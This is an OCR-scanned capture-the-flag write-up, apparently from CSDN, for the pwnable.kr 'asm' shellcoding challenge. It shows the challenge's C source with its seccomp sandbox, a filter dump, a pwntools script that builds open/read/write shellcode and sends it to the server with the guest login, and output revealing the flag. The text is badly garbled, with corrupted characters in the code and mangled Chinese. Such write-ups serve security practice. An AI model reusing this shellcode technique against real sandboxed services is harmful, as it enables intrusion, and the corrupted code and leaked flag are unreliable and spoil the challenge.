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-rwxr-xr-x 1 root root 13704 Nov 2016 asm

-rw-r--r-- 1 root root 1793 Nov 2016 asm.c

-rw-r--r-- 1 root root 211 Nov 2016 readme

-rw-r--r-- 1 root root 67 Nov 2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_10000000000000000
000000000000000000000000000000000000000000000000000000000000000AV0VAA0VA0VAVOVAABR000000000000000000000000000QDVAOVAA0D0000CTVWA@LaxgE000

ATLVER], BT b S trasm A B RIS asm.c, B H — A% R K flag KA —/ N readme, A readmelf N %, LA
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asm@pwnable:~$ cat readme

'asm" binary will be executed under asm_pwn privilege.

once you connect to port 9026, the
make connection to challenge (nc @ 9026) then get the flag. (file name of the flag is same as the one in this directory)

i/ file AHFEAE L

- pwnable file asm
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /1i 1d-1inux-x86-64.s0.2, for

GNU/Linux 2.6.32, BuildID[shal]=d7401f94bldobf6a5afe4b8a9457e71faa2eb5e9, not stripped

BT INE i

checksec asm

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: PIE enabled

asm.c



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(o0);

}

seccomp_release(ctx);

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xcO\
x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

unsigned char filter[256];

int main(int argc, char* argv[]){

setvbuf(stdout, @, _IONBF, 0);
setvbuf(stdin, @, _IOLBF, 9);

printf("Welcome to shellcoding practice challenge.\n");

printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, ©x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, @, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(@, sh+offset, 1000);

alarm(10);

chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();

((void (*)(void))sh)();

return 0;
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0x00000004 A = arch

0xc000003e 1if (A '= ARCH_X86_64) goto 0011
0x00000000 A = sys_number

0x40000000 1f (A < 0x40000000) goto 000O5
Oxffffffff if (A 1= Oxffffffff) goto 0011

0x00000000 1if (A == read) goto 0010
0x00000001 if (A == write) goto 0010
0x00000002 if (A == open) goto 0010
0x0000003c 1if (A == exit) goto 0010
0x000000e7 1f (A '= exit_group) goto 0011
Ox7fff@000 return ALLOW

0x00000000 return KILL CSDN @
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from pwn import *
elf = context.binary = ELF('./asm')

file_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_l0000000000000000000
0000000000000000000000000000000000000000000000000000000000000VVBRVVVVVRRYVVRBRRBAO00000000000000000000000000000
000000000000000000ONg "

length = 50

shellcode = asm(
shellcraft.open(file_name) +
shellcraft.read('rax', 'rsp', length) +
shellcraft.write(1, 'rsp', length) +
shellcraft.exit(0))

session = ssh(host="pwnable.kr', user='asm', password='guest', port=2222)
io = session.remote('0', 9026)

print(io.recv())
io.sendline(shellcode)
print(io.recv())



[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:

Distro Ubuntu 16.04

0S: linux

Arch: amdo4

Version: 4.4.179

ASLR: Enabled

[+] Connecting to ©:9026 via SSH to pwnable.kr: Done

b"Welcome to shellcoding practice challenge.\nIn this challenge, you can run your x64 shellcode under SECCOMP sandbox.\nTry to
make shellcode that spits flag using open()/read()/write() systemcalls only.\nIf this does not challenge you. you should play
'asg' challenge :)\ngive me your x64 shellcode: "

b'Maklng_shellcodE_i5_veRy_eaSy\nlease_read_this_file’ CSDN

)0
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